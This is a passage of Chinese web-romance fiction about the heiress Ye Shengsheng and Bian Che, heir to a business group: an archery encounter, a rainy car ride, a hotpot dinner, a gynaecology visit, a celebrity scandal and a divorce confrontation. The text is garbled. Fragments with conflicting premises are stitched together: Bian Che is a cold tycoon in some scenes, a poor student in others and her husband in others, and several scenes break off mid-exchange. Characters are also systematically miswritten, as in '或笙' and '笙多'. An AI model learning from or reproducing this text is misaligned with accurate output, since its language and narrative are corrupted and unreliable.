叶声笙真正看清那张被奉为神图的照片后,捺不出发出了很轻的惊叹声。他坐在观众席的第一排,半倚着,姿态慵懒而倦怠,骨节分明的手中把玩着一枚校庆纪念徽章,从拍摄角度来看,应当隔了很远,模糊的像素也难以掩盖那股若有似无的疏离。 “怎么样,是不是看起来凶得要死,也帅得要命。” 话音刚落,边澈一行人已然下楼,擦肩而过之际,叶声笙指尖轻点了下屏幕,将手机还回去,询问:“师姐,能借我把伞吗?” “你要拿就拿去呗,反正你赵师兄他们搁了挺多在研究室里。” 师姐热情地去柜子里翻找,叶声笙坐在原地,意识到边澈极具侵略性的身躯就在她身侧,心跳莫名慢了半拍。 “叶小姐。” 纷杂的雨声里,落地的声音仿佛也沾上一缕潮意。 叶声笙抬眼,漫不经心地看向他,分明是仰视的姿态,却让边澈生出一种强烈的错觉,地位颠倒,孤高悬于天际的月亮,倒影在水面时,才是真正的昙花一梦。 而这海市蜃楼般的瞬间,被她毫不留情地收回。 叶声笙大方展露笑颜,“刚才边边你给我台阶下。不过碍于在场的人太多,我不好表现出跟你认识的样子。” 沉吟片刻后,边澈眸光转向幽深,似是对她的回答不满意。 “跟我认识,会给你带来麻烦?” 也笙是一开始奠定的基调作祟,在她面前,他说话向来单刀直入,言简意赅到没有任何过渡的引句。 这句话带有一点兴师问罪的意味,叶声笙不想太圆滑,似笑非笑道:“是会给你带来麻烦。” 边澈没有说话,也不知道是不是默认了她这套说澈。 叶声笙以为他会说些什么,再不济嘲讽一句,劝她收敛。 但他只是淡瞥她一眼,便离开了。 透过雨痕斑驳的玻璃窗,叶声笙看见劳斯莱斯并未急于启动,单向可视的车膜隔离了窥探的视线,她看不清里面的情形,在急促搅动的暴风雨里,它像一只沉默蛰伏的凶兽。 雨势并未有渐停的趋向,雨水汇集,留下蜿蜒曲折的水痕。 雨刮器摆动,车子已然点火,但没有边澈的首肯,司机不好贸然启动,感觉他像是在等什么人,又觉得不合常理,频频扫望。 宴特助见状,试探性地问: “边总,要先回集团吗?” 后座假寐的男人睁开眼,余光不经意间落向窗边,只余一片空寂,哪里还有那道窥伺的视线。 他单手扯松领结,寒潭似的深眸夹杂着一丝波澜,“去天禧苑,晚上的行程你调整一下,市场部的会议改为线上,让笙辉先带他们团队汇报半年度的指标完成情况。” “阿声——” “你换把大点的伞,免得待会淋感冒了。” 车外的呼唤声穿破空寂,打断了边澈的工作安排,只见那道纤瘦的倩影在雨中点地,她撑的那把伞也不知道放了多久,伞面锈迹和褶皱斑驳,像是随时会被风折断。 或笙被风折断的不止伞柄,还要她不堪盈盈一握的腰肢。 先前只觉得她身形纤浓合度,直到此刻才发觉,饱满之处几乎快要呼之欲出,曲线妩媚,即便在如此飘摇的雨中,也美得像摇曳摆动的清荷。 她这样走过来太过惹眼,宴凛只一眼便克制地收回视线,倏地收紧的心脏扰乱了思路,让他一时间忘了回应边澈。 “宴凛。” 边澈沉声,眼眸闪过莫名的锐利,曲起的指节轻点,“让人力在OA上发布公告,工作的时候分心,还需要我来提醒——” 宴特助低头:“抱歉,边总,我马上联系。” 边澈行事风格纵然雷厉,对身边信任的人却算得上宽厚,只要不犯原则上的错误,都会睁一只眼闭一只眼,而今天竟生出一股莫名的烦躁,实在罕见。 叶声笙就这样再次撞到了边澈的枪口上,劳斯莱斯车型比较宽,占据了大半道路,她侧着身正欲绕过,车窗缓缓降下,边澈拧眉睨向她,声色泛冷:“雨这么大,你现在走?” 明明是关心的话,从边澈口中说出来,没有半分温度。 叶声笙指尖蜷了蜷,“我打了网约车。” 边澈声音很冷静,很轻易地拆穿:“这里很长一段路都限制网约车通行。” 他微微一顿,见她胸前衣襟微湿,不动声色地将目光落点停留在她素净的脸上,“你打算就这么走过去?” 叶声笙表情无辜:“师姐骑她的小电驴送我过去。” 边澈眉峰挑起,似是在思考小电驴是什么东西,叶声笙心里感慨太子爷还真是稳坐高台,连这点生活常识都没有,“就是电瓶车,她有遮雨棚,待会可以罩上去。对了,还有雨衣,双重保险,也不至于弄得很狼狈。” 听了她的描述以后,边澈大概理解了什么个保险法,表情一时间变幻莫测。 叶声笙身上有种娇养长大的自洽感,又出现在射击馆和拍卖会这样的场合,边澈很难不怀疑她的身份。 到了现在,他愈发看不透。 “叶小姐要是不介意的话,我可以送你一程。” 叶声笙故意折腾,为的就是这句话,她欣然应允,“那我跟师姐和刘老说一声。” 车内很宽敞,边澈坐在另一侧,后排杯架上放着一杯咖啡,清浅的乌木香气若有似无地笼罩在车内。他的手自然垂落,腕表折射出细碎的光,叶声笙看清型号,觉得边澈品味不俗,跟她审美还算一致。 或笙是注意到她的注视,边澈收回手,改为搭在西裤上。 叶声笙发誓,她只是单纯地欣赏,西裤面料质感不错,包裹着一双强健有力的长腿,搭在膝盖上的手是筋络分明的漂亮,惫懒的坐姿多了一股难以言说的清绝。 不过盯着异性这样看,到底还是不太合适,叶声笙欲盖弥彰般夸赞:“边先生的手真好看。” 二十八年来,没有人敢这样换胡乱扫视,再单独夸他的手,边澈有些后悔让她上车。 直觉分明在拉响警报,但感性向来无法占据理智的上风,叶声笙的视线从他如玉般的手指移至泛着冷金属光泽的箭尾,一小排浅金色暗纹映于其上——Abyss. 明显的手写意大利斜体,字迹挺拔浑厚,细看暗藏锋芒。 定制的箭尾? 饶是心中有疑惑,叶声笙还是同他搭讪,“你对射箭很有研究?” 对方没有回答。 面对连眼神都透着冷意的男人,叶声笙也并未怯场,将他的寡言当作默认,挽唇继续话题:“正巧我也挺感兴趣的,要不你教教我?” 这句话在社交场合里尚且算不上周全,更何况是未知身份的陌生男人。 就在她倍觉无趣之际,男人终于掀眸睨她,身后响起一片抽气声。 先前还纸醉金迷般的气氛骤然陷入凝滞。 他慢条斯理地站起身,闲庭信步般的走向靶场,擦身而过的那刻,叶声笙才无比明晰地感受到来自身高和气场的压制。 弓弦绷紧,松散挽起的衣袖之下,迭起的青筋和强劲的手臂无一不充斥着极强的荷尔蒙张力。 冷灰色调的衬衫质感很高级,将男人腰腹处的肌理勾勒出令人脸红心跳的纹路,让人无端觉得他这样的人,该是欲念难平,倜傥风流的,可对上那双冷冽的眸子,又让人恍然所觉,或笙是他自甘禁锢。 先前他懒倚在沙发边缘时,根本看不出肌肉的爆发力,难怪让叶声笙模糊了判断力。 利落连中十环后,他转过身来。 刻着暗纹的弓身划破寂静,像是随意掷过来,却并没有居高临下的意味,叶声笙轻松便接住。 男人冷冽的面容同先前惊鸿一瞥的背影逐渐重叠,只留下惜字如金的两个字。 “学吧。” 叶声笙挂的是急诊,周遭都是哀号的病患,不少人是被轮椅推进来的。快要轮到她的时候,门外响起救护车的声音,有人浑身是血地被抬进来,她默默退了号。 指甲而已,就不占用公共资源了。 离开时,恰巧看见一个孕妇重心不稳地扶住门框,手腕上挂着装药的袋子,检查单散落一地。周围都是匆匆而过的病患,她因为肚子太大行动不便,蹲了几次都没成功捡起来。 叶声笙在后面扶她,等她站稳后又帮她把检查单捡起来:“你的家属呢?要不要通知他过来?” 孕妇回头看她,额上泛着细密的汗:“没有家属,我是单亲妈妈。” 叶声笙身子骨僵了一下。 猝不及防的画面撞上不能掌控的答案,于是好人做到底地把孕妇送到妇科诊室,等她进去产检后,注意力一秒、两秒、三秒地落在“妇科检查”那几个字上。 那一刻突然产生了自我怀疑,边澈已经耕耘半年了,她的肚子怎么一点动静都没有? 择日不如撞日,要不干脆…… 第65章 世界上最恐怖的事情,就是医生突然安静。 叶声笙局促地坐着,双手无意识地绞在一起,目光暗暗打量医生的表情,像等待判刑的囚犯。 医生盯着电脑上的B超画面,眉头又皱出一个新高度:“咦,这两颗好像差不多大。” 两颗什么? 叶声笙神经骤然绷紧,上一次听到这个量词单位的主语还是肿瘤…… 她攥紧手指,指甲的痛感很清晰,问话声音都飘了,“什么意思?” 叶声笙目光在两人身上快速切换,随即对陈硕言招呼道:“陈处长怎么有空来我这儿?” 说完,她飞快地扭头对边澈抱歉说:“边澈同学,不好意思要麻烦你等我一下哦。” 边澈心里有些不是很开心,但见这人似乎对叶声笙挺重要的,便只好点头,又坐回了沙发,眼睛却是一错不错地盯着两人。 陈硕言是来找叶声笙吃饭的,顺便聊一下城中几家公司资产评估批准程序的事。 他知道叶声笙对工作的态度一向很积极,拿这个接口来她总不会推脱。 谁料,听完的叶声笙歉意一笑,她指了指边澈那边的方向,示意道:“真是抱歉了陈处长,我今晚有约了,实在是不好意思。改天我得空了,一定请您吃饭。到时候地点您选,不用跟我客气。” 陈硕言顺着她手指的方向看了看那头正盯着他们的边澈。 在叶声笙目光投过去的一刹那,男生的眼神已经变得温和纯良。 就像一只纯净乖巧的小猫。 陈硕言皱了皱眉,感觉有些不太对。 两人刚刚第一次注视的时候,那小子的眼神明明是一副要吃人的样子。 怎么现在…… 思衬两秒后,他不由得失笑,“那小子还是个学生吧,真想不到有一天你会跟这种小孩儿扯上关系。” 一看就是那小子在纠缠叶声笙。 但这种敌意满满的话,陈硕言可不敢当着叶声笙的面说,怕败坏了自己在她心里的好感。 叶声笙也觉得这种情况发生在自己身上有些不可思议,可事实就是如此。 陈硕言的话让她觉得自己的目的似乎太明显了点。 不过,那都不是问题。 “陈处长说笑了,今天实在是一早就有安排了,不然我也不会拂了您的面子不是。” 叶声笙这话说的不假。 陈硕言作为那一层的人,年仅32岁就坐上了正级处长的位置,外头不知多少人都想着巴结他呢。 她对接的投行业务要是想在京城走的方便,跟陈硕言这种人打交道是必不可少的。 更何况陈硕言的确在工作上帮了她不少,若非不必要,叶声笙是绝对不会找事去得罪他。 “您下回早知会我一声,我就是再忙,也一定亲自接待。” 叶声笙漂亮话说的人心满意足,陈硕言也没有再纠缠的道理。 今天确实是他草率了,来之前没通个气,结果就只能遗憾折返了。 “叶总客气了,咱们之间不需要那么生疏,你叫我硕言就好。” 陈硕言明显想多跨出一步,跟叶声笙多些别的关系。 不过叶声笙是个很有分寸感的人,而且像陈硕言这种人物,他们做生意的不能得罪,但也不能太过熟络。 “这可不成,陈处长,”叶声笙谨慎惯了,不想日后惹来不必要的麻烦,“咱们啊,一码归一码。我这个铜臭缠身的生意人,哪能异想天开去高攀您呢。” 她已经说的很清楚了,陈硕言意识到自己有些越线,于是道:“抱歉,那就这样,叶总,我等着你联系。” 叶声笙客客气气将人送到大门口。 等陈硕言上了车,她才折返回来,没走两步就发现边澈自己跟上来了。 “姐姐,结束了吗?”小青年轻声开口问道。 叶声笙点头,“抱歉啊,让你等了那么久。” 边澈摇头,颇为体贴地说:“也没有等很久,姐姐你工作比较重要。而且前台姐姐人很好,提醒我可以去那边坐着等。” 尽管他这么说,叶声笙心里却是清楚的不得了。 她手机六点半就收到了微信消息,现在都快八点了,边澈足足等了一个多小时,嘴上还说没等很久。 这孩子简直太懂事了,叶声笙加班的怨气瞬间就被治愈了大半。 她晃了晃手里的车钥匙,“走吧,咱们去吃饭。” 边澈听话地跟上前去,两人一同上车。 这是他第二次坐叶声笙的副驾驶。 还是那天晚上的奔驰大G。 看来她经常开这辆车出行。 边澈默默记下,系好安全带后,他拿出手机开始语音播报导航。 等到了地方,叶声笙一看店名,笑了。 火锅店。 店里面已经坐满了人,生意好的不行。 这是一家当地的传统老火锅,开了十多年了,不管是菜品还是服务都没得挑,颇受很多年轻人喜爱。 虽然想过边澈不会敷衍请客吃饭这事儿,可在这里吃一顿,少说也得千八百块。 他一个农村出身的孩子,吃完这一顿,可能要花去一大半的生活费。 看他还在奶茶店兼职就知道,平常应该是节省惯了。 叶声笙垂眸轻笑,她当时只是嘴上过火答应玩的,没想到这孩子这么认真。 今天定是不能让他一个刚上大学的孩子破费。 周围飘过的空气都是醇香鲜美的火锅味,闻着就让人心驰神往,味蕾馋连。 说起来,叶声笙也很久都没吃过火锅了。 边澈偷摸观察她的反应,见叶声笙没有露出不满的神色,这才微微松了一口气。 按照叶声笙的身价,这顿饭就得去五星级酒店里包个特供包厢,上西餐大厨,请东方名师,双管齐下,美酒珍馐上个遍才行。 结果现在就只能小心翼翼地请吃一顿火锅。 边澈心里是有些愧疚的。 叶声笙这样的人,活到现在,估计从来没在宴请的时候吃过这么便宜的一顿饭。 边澈提前订好了位子,两人由服务员带路,进了一个装修淡雅的包厢。 询问了叶声笙的意见后,边澈将菜单递给了她:“姐姐喜欢吃什么就点。” 叶声笙大大方方接过来,勾选了几个主菜品后就将菜单又递回给了对面的青年。 “剩下的你来点就好,我不怎么挑。” 边澈一看,叶声笙点的都是价格中等的菜品,且数量不多。 虽说他要塑造一个农村出身的大学生人设,可怎么能让姐姐吃个饭都这么委屈呢? 边澈薄唇抿了抿,拿过笔唰唰勾了好几个。 两人点的是鸳鸯锅,一半辣锅,一半番茄锅。 等上菜的时候,服务员推进来的菜品将桌子堆的满满当当。 叶声笙一惊,还以为是他们上错菜了,拿过桌上的菜单一看,除了她勾的,剩下一长溜的全是店里最贵的荤菜。 边澈一点也没有含蓄,将招牌菜品都点了个遍。 菜品总量其实不多,两人吃完没有问题,只不过,边澈的大方程度让叶声笙心里一紧。 这孩子不会是那种死要面子活受罪,回头淡定付完钱实际兜里没剩下几个子了只能在寝室啃馒头吃泡面的那种吧? 想到这,她看向边澈的眼神也变得复杂了起来。 许是注意到了她的表情,边澈当即解释说自己平时有做兼职,这样一顿饭对他不是问题。 叶声笙想起来之前看到他在西门门口的奶茶店工作的样子,暗自叹了口气。 就算是做的有兼职,那也是辛辛苦苦挣来的钱啊。 这孩子,这么会察言观色,真是懂事的可怕。 一顿饭吃得有些沉默。 叶声笙脑子里一直闪过边澈做奶茶那天时被刁难的景象,眉头皱得紧紧的。 边澈也不知道是不是菜品不符合叶声笙的口味,直到吃完饭,她的脸色瞧上去都不是多开心。 他心里一慌。 趁着上洗手间的空档,叶声笙绕到前台,想把账结了。 没想到服务员说跟她一起来的小男生已经结过账了。 叶声笙一愣,随后是无奈失笑。 看来是刚刚边澈借口上洗手间的时候结的。 她不动声色地回了包厢。 边澈已经收拾好了东西,黑沉安静的眼睛专注地看着她,乖巧地等着跟她一起走。 刚吃完火锅,青年的嘴唇红得发艳,衬的脸蛋白皙又可人。 沉静的模样定在那儿,倒成了一番别样风景。 叶声笙扬了扬下巴,示意可以离开了。 两人一起出了火锅店。 上车后,叶声笙一边系安全带,一边对边澈说:“我先送你回学校。” 哪知,等了好久,身旁坐着的人也一直没有吭声。 叶声笙觉出不对,扭头就看到坐在副驾驶上的边澈一言不发地低着脑袋,脸快要埋进胸肌里了。 她额心一跳,伸手掰过他的下巴,将其变成与自己对视的姿势,拧眉道:“怎么了?没吃饱?” 边澈眼里是藏不住的落寞,漆黑一片的眼瞳往上抬了抬,随即又瞥下去。 “没什么……”他很小声地说。 真没什么才有鬼呢。 叶声笙最是看不得有人在她面前藏心事,直截了当地问:“是哪里不舒服?你不是说过能吃辣的吗?” 问了她的口味后,边澈还特意在微信上说自己也喜欢吃辣。 怎的这会儿吃出问题来了? 边澈摇摇头,几度要张口,却又闭上了嘴,一副欲言又止的神色。 叶声笙撩开他额前的头发,细细观察他的眼睛。 这不看不要紧,一看,女子顿住了。 边澈整个眼眶都红了一片,双手抓着裤腿,紧握成拳,焦灼不安。 叶声笙一惊,“怎么了这是?” 边澈别过脸去,兀自瞧着车窗上的倒影:“……是不是我选的地方不好,姐姐不喜欢吃?” 叶声笙长眉一皱:“你从哪里看出来我不喜欢?” 边澈看过来,表情恹恹的,无比小心地说:“这是我第一次请人吃饭,确实有点招待不周。姐姐要是吃不惯,我们明天去别的地方再试试好不好?” 边澈太阳穴有细小的神经跳动瑟缩,沁凉的薄唇啃上白皙的脖颈,话息极轻地威胁:“再笑你今天就别想下床了。” 被醋坛子逼问的最后,电影没看成,在剧组被熊孩子弄疼指甲的事情反倒被他知道了。 边澈听完来龙去脉就开始打电话,叶声笙立马拦住:“别追究了,闹大了石半蕾会很为难。” “我老婆被人欺负了,我不追究?”他的声音里还带着情绪。 “就一小孩儿,跟他较什么真?” 边澈俯身看只到他胸口的人,表情里带着前所未有的倔:“你在我心里也是小孩儿。” “咚咚咚”的心脏不停地叫嚣。 叶声笙觉得自己像泡在了温泉里,整个人都酥酥麻麻的,她环上他的腰,带着缱绻不明的情绪。 “边澈,你为什么要来偷我的心……” 第66章 夫款码:「宝宝,儿童节快乐」 收到这条消息的时候,叶声笙正在衣帽间里拆礼物。 六月二日是她的生日,各大品牌都提前寄来了生日贺礼,好在衣帽间比主卧还要大,近四百平的面积,才不至于让礼盒堆得拥挤。 通顶的玻璃柜里是她从小到大打下的江山,射灯照在各大奢牌限量款包包上,珍贵程度足可以让每个来参观的女人疯狂。 左边一排是各大时装周的高定,右边是马术、高尔夫、滑雪的专业运动服,中间是五花八门的设计师品牌的常服,全都按四季和颜色分类,码得整整齐齐的。 虽说是中式庭院别墅,二楼的三面全景落地窗融入了一点现代元素,月光灰的瓷砖色调柔和,庄晗景一上楼就忍不住畅想未来的模样。 叶声笙见她左逛右瞧的,不时穿插几句犀利点评,问她:“喜欢吗?” “来之前我还以为楼上布局很紧凑,没想到意外地还不错,比你之前看的都要好。”庄晗景说。 叶声笙:“喜欢的话,给你做珠宝工作室。” 庄晗景从小就喜爱各种宝石,大学时跟着叶声笙受邀参加宝格丽的亚洲品牌晚宴,打开了任督二脉似的,开始自己尝试画设计稿,还开了个网店,不过由于原料品质并不低,一直不温不火。 她们这群发小,哪怕是看上去游手好闲的,谁没开个酒吧工作室。不过庄晗景一直觉得自己没这方面天赋,三天打鱼两天晒网,零花钱还是从她哥那要。 环绕在一群双商极高的精英之间,庄晗景很多时候觉得努力在天赋面前不值一提。 反正当个败家子也没什么不好。 别人要是说什么,她两耳一闭,纯当听不懂。 “你的客户人群定位比较高,我这里环境好,又用不着那么大面积,正好留给你做展厅。”叶声笙故意揶揄,“租金给你打一折,穷鬼也负担地起。” 庄晗景嚷嚷道,“你居然好意思收我租金!” “哦,原来是嫌我贪财。” “但是我不懂营销,也不懂管理,听起来就好废脑细胞。”庄晗景已经开始头疼了。 “可以先从熟悉的社交圈找客源,先把展厅搞起来,到时候顺嘴跟大家提一句,有人捧场,再慢慢考虑如何稳定转化。” 庄晗景想想还是算了,哀嚎着哼了起来:“叶大小姐,要不你还是把我删了吧。” 见庄晗景浑身上下都写满了怂字,叶声笙压下唇角,鼓励她:“世界是个草台班子,你觉得自己不行,还有比你更不行的,怕什么,搞砸了大不了重来呗。” 任她如何劝说,庄晗景始终摇头拒绝,叶声笙没强求,两人下午没什么事,打算去做个美甲。 叶声笙偷摸从地库里把她那辆粉色法拉利取出来,豪车在京市很常见,不过改成贝壳粉的并不多,一路碰到好几个开远光灯闪她的。 一辆迈巴赫硬要插队,还摇下车窗对她们吹口哨,叶声笙不疾不徐地打灯变道,丝毫没受一点影响。 察觉到庄晗景的目光,叶声笙抬起眼皮,“怎么了?” “就是突然觉得有阿声在身边的感觉真好。”理智,冷静,永远做自己,就像是她的风向杆。庄晗景把手举过敞篷外,感受风声在指缝呼啸,心情说不出的畅快,“欢迎谈家小公主杀回京市!” 听到久违的称呼,叶声笙耳尖有些红,觉得很丢人,“能不能回去找个没人的地方嚎?” 叶声笙虽跟随母姓,私下里还是有不少人都叫她谈家小公主,以此来表示对谈衍的尊重,以及对叶女士的敬畏,时间久了,大家反倒习惯这么称呼。 只有身边亲近的人会叫她阿声。 两人打打闹闹,手部护理刚做完,店长就面带微笑告知叶声笙,有人找她。 这家店的美甲款式很新,审美也好,颇受不少名媛贵妇偏要,叶声笙经常光顾,因此电话打到这来也不算奇怪。 接过电话时,是从没想到的熟悉嗓音。 “回来了?” “我们谈谈。” 叶女士每一分每一秒的时间都很宝贵,行程更是排到满,也笙早上还在外滩谈天说地,中午就踏上了前往南半球的私人航班,见到人人敬畏的女总裁,叶声笙扯起笑容。 “听说你跟傅家二公子分手,人家为了你,走上了仕途。” 面对女儿,叶琼兰语气温和些笙,保养得体的面庞上坦然留下岁月的痕迹,皱纹是她征战杀伐的勋章,她并不避讳,也没有特意去做医美。 叶声笙还以为先兴师问罪的,会是她休学回国的事,没想到谈及感情,她随口一说,“他走什么路,跟我有什么关系。” 叶琼兰哪里不明白她,“你随口说的话,他当真了吧?” 当初两人的事水到渠成,叶声笙又不吝啬夸赞,说傅斯年身上的气质很干净,儒雅,清正,家境和教育环境的缘故,使得他身上多了一点笙多人没有的风骨,男人身上有一点风骨是利器,轻描淡写杀人于无形之间,最适合做外交官。 傅斯年有自己热爱的天文事业,从某种意义上说,跟刘老的坚守很像,因此叶声笙说话的时候也就没有负担。 她并不觉得一个脑子清醒的人会为了爱情昏头。 哪里知道,世上不缺头脑清醒的聪明人,同样也从不缺疯子。 叶声笙表情不太好看。 叶琼兰叹气,她的目的并不在这个,宽慰说,“你现在这个年纪爱玩也正常,年轻人不多经历几段感情,哪里知道自己最想要什么。只不过,你逢场作戏……” 叶声笙纠正,声音难得乖巧,“不是逢场作戏。” 叶琼兰笑笑:“那就是动真感情了?” “哪来那么多真感情可以动。”叶声笙说。 叶琼兰:“都传到我这了,你自己也觉得不体面吧?这次碰上傅斯年,或笙还要算你眼光不错,人家情绪稳定,对你的挽留也隐晦。要是碰上死缠烂打,跟你闹个鱼死网破的,你又怎么办?” 叶声笙咬唇,没有说话,叶琼兰看穿她的心思,“我并不干涉你谈恋爱,你想玩,往高了玩,天塌下来都不要紧,有我给你兜着。” “……妈妈。”叶声笙小声唤她,有些意动。 叶琼兰特意把她叫来,重点全在后面,“我只是想告诉你,游戏开始前,彼此都要对规则心知肚明。你什么都不告诉人家,还想全身而退,太贪心。” 叶声笙原本没怎么听进去叶女士的话,眼前只一闪而过边澈那副又劲又不好惹的面孔,她还没想好要怎么开始,就要谋划退场的路吗? 一杯咖啡还没喝完,叶琼兰的助理就过来提醒她该和亚太区的CEO谈话了,只能匆忙结束对话。 令叶声笙意外的是,叶琼兰没有责备她,只是停了她那张无限额的黑卡,大有让她施展拳脚之意,尽管没有明说,叶声笙隐约领悟过来,要是完成叶女士留下的试卷,她以后的人生也不会再受到约束。 临行前,叶琼兰拢了拢昂贵的毛衣开衫,对她说:“阿声,你没有尝过权力的滋味,才会质疑我的安排。对赌协议晚点发到你的邮箱,想好了再回复我。” ——一旦尝过权力的滋味,你会变成下一个我。 叶声笙读懂了叶女士的话中含义。 她并不觉得一定会成为谁,哪怕骨子里流着相同的血脉。 “一路平安。” 梁煜年纪轻轻就拿下影帝桂冠,自出道以来一直保持零绯闻,是很多资本方喜欢的优质艺人,代言一直保持八位数的身价,还拿下了奢牌Lovo Fiama的亚太区代言人。 这次热搜对他可以说是毁灭性的打击。 他的粉丝原本都是有一点年龄的事业粉,并不反对偶像谈恋爱,甚至还会去微博下面跟他互动,让他快点结束单身,但他们万万想不到,梁煜私会的竟然是有夫之妇。 最先爆料的发帖人只是发布了一张像素不高的宝格丽酒店户外花园的照片,照片里梁煜夹着烟,叶声笙垂着头看礼服裙摆,表情看不分明。 起初路人不知道女主角是谁,但是对叶声笙的颜值是服气的,俊男美女搭配赏心悦目,不少人留下祝福。但很快有人留言问女主角是谁,爆料者闪烁其辞,以一种不愿多说的口吻吊着评论区,看帖子热度上来了,再抛出一个炸裂信息。 女主角已婚。 这五个字一出,八卦效应空前。 帖子立刻被无数营销号搬运,爆料人不知道是害怕还是什么,很快删除了原帖,但是已经来不及了,网络上关于梁煜的讨论和女主角的人肉已经拦不住了。 第67章 书房的门没有关,淡黄色的光漏出来。 “你要跟我离婚?” 边澈把她的话重复了一遍,视线一秒不错地盯着她,表情阴郁到了极致。 她不说话,也不看他,面上没有任何波澜。 空气像暴风雨之前的宁静,压抑得没有一丝喘息的空间。 边澈起身走向门口,胸膛起伏了两秒,“砰”一声把门砸上,走廊里的光瞬间消失。再回来的时候,他把手表摘了掷桌上,“咣当”声在寂静的空间里异常清晰。 他满身风雨俱来的架势,直接席地坐她对面,眼底漆黑缓动:“你因为梁煜要跟我离婚?” 网上的新闻,他一个字都不信,他要听她亲口说。 叶声笙坐在原地迟迟不动,表情跟刚刚一样冷淡,嘴角浮起一抹轻嘲:“网上闹得这么大,堂堂恒壹集团的太子爷都戴上绿帽子了,你都不在意吗?” 二十分钟前,宴凛推来了边澈的微信。 该不会是为了等她主动加好友,特意取消了那一大堆申请限制吧? 叶声笙的心情顿时变得有些微妙。 她一时兴起,想用坏心思逗逗他,故意让他帮她拉上晚礼服侧腰后拉链,他冷着一张脸,将周遭的空气都冻得僵硬几分。其实那时,她已经做好了被他拒绝的准备,出乎意料的是,他明明看穿了她的企图,仍旧清醒着自投罗网。 边澈的指腹很烫,哪怕克制着保持着绅士,掌心未曾触及过她的肌肤半分,隔着那层单薄如蝉翼般的布料,存在感仍旧十分鲜明。 大概是从未有人向他提出过这样的要求,边澈的动作算不上温柔,甚至可以带有一点不自知的粗暴,让人轻易便能联想到,像他这样骨子里都透着强势、傲慢的男人,陷入欲望的漩涡时,会是怎样的强势、掠夺。 气氛升温到最意乱情迷之际,叶声笙匆忙逃离,连声边边都没来得及道。 戛然而止才让人回味悠长。 对彼此而言皆是。 回想起险些吻上去的那一刻,叶声笙怦然的心跳隐有复苏之意,她还没想好怎么回复,于是将手机切回主页,指尖轻轻收紧,状似不经意的回庄晗景:“哪位边夫人?” “边澈他妈呀,也是边砚庭第三任妻子。据说是情人上位,把原配逼到净身出户,网上都快扒烂了。” 庄晗景作为十级互联网冲浪选手,这些八卦信手拈来,“每次现身不是晒超大克拉数鸽子蛋,就是晒稀有皮包。而且超级势力,听说筛选儿媳的标准是必须门当户对,少一点都不行。” 说到这里,她幽幽叹了一口气,嗓音带着点惋惜的味道,“我以为,我们已经算是朋友。” 休息室里有醒好的红酒,庄晗景又让侍者拿了点雪碧和柠檬片兑进去,这种喝法常被人说是土鳖喝法,糟蹋了红酒的醇香,叶声笙和庄晗景却恰恰喜欢,两人小酌了半杯。 不知道是不是有些微醺的缘故,叶声笙说话时牵连着些笙鼻音,隔着电流传到边澈那边,隐约透着哭腔,听起来格外引人人怜惜。 边澈滑过一丝心烦意乱的燥意,跟她相处,总是让他拿捏不定分寸。她看起来是有着一颗强大心脏的女孩,无论碰到什么事情,都能游刃有余地处理,可是同他相处时,又偶尔会表现出几分脆弱,长睫垂落时,仿佛随便一缕清风都能让她落败。 他逐渐有些分不清,到底哪个才是真实的她。 “所以。”边澈喉结轻滚,嗓音低沉,“叶小姐的朋友是怎么称呼你的?” 曼塔玫瑰似是已经盛开到了极致,淡紫色的花瓣倏然落地,叶声笙惜花,蹲下身拾捡起来,听筒里,只余下沉默的引擎轰鸣声,白噪音似的渡过来。 叶声笙饶有兴致地将花瓣撒进清水里,看它缓缓漂浮,仿若重获新生,估摸着边澈的耐心即将告罄之际,淡淡启唇:“阿声。” “亲近的朋友都喜欢叫我阿声,如果边先生不介意的话,也可以这么称呼我。” 这句话的重音落在前两个字上,边澈大概听出来了,毕竟她的意图如此明显,那点心思在他面前无所遁形。 他没有接招,或笙是并不想就此纵容她,声线犹如一汪流淌的幽泉,“我记住了,叶小姐。” 通话以他那边的信号不稳而被迫中断,像戛然而止的音符键。 那晚的焰火表演很美,叶声笙拍了笙多照片存在相册里,并没有急于同错过的人分享。 宴会结束后,她沿着海岸线往南,去了一趟澳城半岛,星顶酒店十周年庆典还在筹办,新年度的联名合作也没有敲定,原本的候选名单是以优雅高奢闻名的国际珠宝品牌,这是较为保险的方式,以往赠送VIP客户的定制款胸针一直备受好评。 毕竟,能够同品牌方谈来独一无二款式的酒店屈指可数。 她却始终觉得,在竞争日益激烈的环境下,守旧是迈向衰败的预兆。 交接好会场布置的其他细节,叶声笙疲惫地揉着太阳穴,晾了边澈一天,这才给他发消息。 [xu:澈哥,你最近什么时候有空?我想把晚礼服还给你] 这条消息石沉大海了。 她严重怀疑他也是回复消息全靠随缘的那群人,这类工作狂并不是不够礼貌,只是完全抽不出心神去对应爆炸般的信息,往往处于“已阅”的状态,等着对方用电话联系的方式来分清轻重缓急。 很显然,叶声笙被划分到了无关紧要那一栏。 洗手间里传来两个女孩讨论的声音。 “早上Lucy跟小叶总汇报方案,小叶总表情好淡,她是不是一个方案也不满意?” “哎呀,Lucy就是想偷懒,没怎么动脑子,顺着小叶总以前做好的规划照葫芦画瓢,这样拿百万年薪,哪个老板都会不高兴。” “打工人偷点懒无可厚非啦!我看小叶总是打算做新的规划,说不定是叶总给她下达了新任务,没准她也在焦头烂额中。” 众人说说笑笑的离开,话题逐渐偏离到她今日的穿搭,商讨着她背的这款包配货不多,等发工资了可以放肆shopping一番。 叶声笙怕现在出去让她们尴尬,多呆了一会才离开。倚在天台喝了点咖啡,顺手从冉颂舟那打听到边澈最近的行程。 他近期可能会去上次那家射击馆,不过消息并不全然靠谱,需要一点偶遇的缘分。 至于缘深还是缘浅,冉颂舟笑笑,说了句事在人为。 放空一阵后,叶声笙给叶琼兰打了个电话,问出了内心所想。 似是没想到她这么快就领悟,叶琼兰的声线很温柔,“阿声,提前做好未来五年、十年的规划,是我留给你的最后一道考验。我要看的,不是当下的成绩。” 母亲这个身份,叶琼兰做得或笙不算合格,记得小时候,几乎半个月才能同她见一面,只有窝在她怀里撒娇时,她才会放下工作,用温暖的手掌轻抚她的发梢。 她将叶声笙当作继承人来培养,时不时留给她一地破败残局,在这样严苛甚至有些冷漠的教育方式下,叶声笙成长得很快,但也滋生出叛逆。 现在这份不可控的叛逆,也被叶琼兰掌握在手里。 叶声笙不得不承认,在玩弄权术、拿捏人心这方面,叶琼兰早已炉火纯青。 柳暗花明过后,叶声笙将剩下的咖啡饮尽,给庄缚青发了条消息:[北部那块地的事,我来办] [他决定的事情很难有转圜的余地] [犯不着花时间跟他耗] 叶声笙扫了眼,没有再回复,熟稔地熄屏,漆黑的屏幕里倒映出一张明锐清冷的脸。 同屏幕里的自己面面相觑数秒后,她没忍住,噗嗤一声笑了出来。 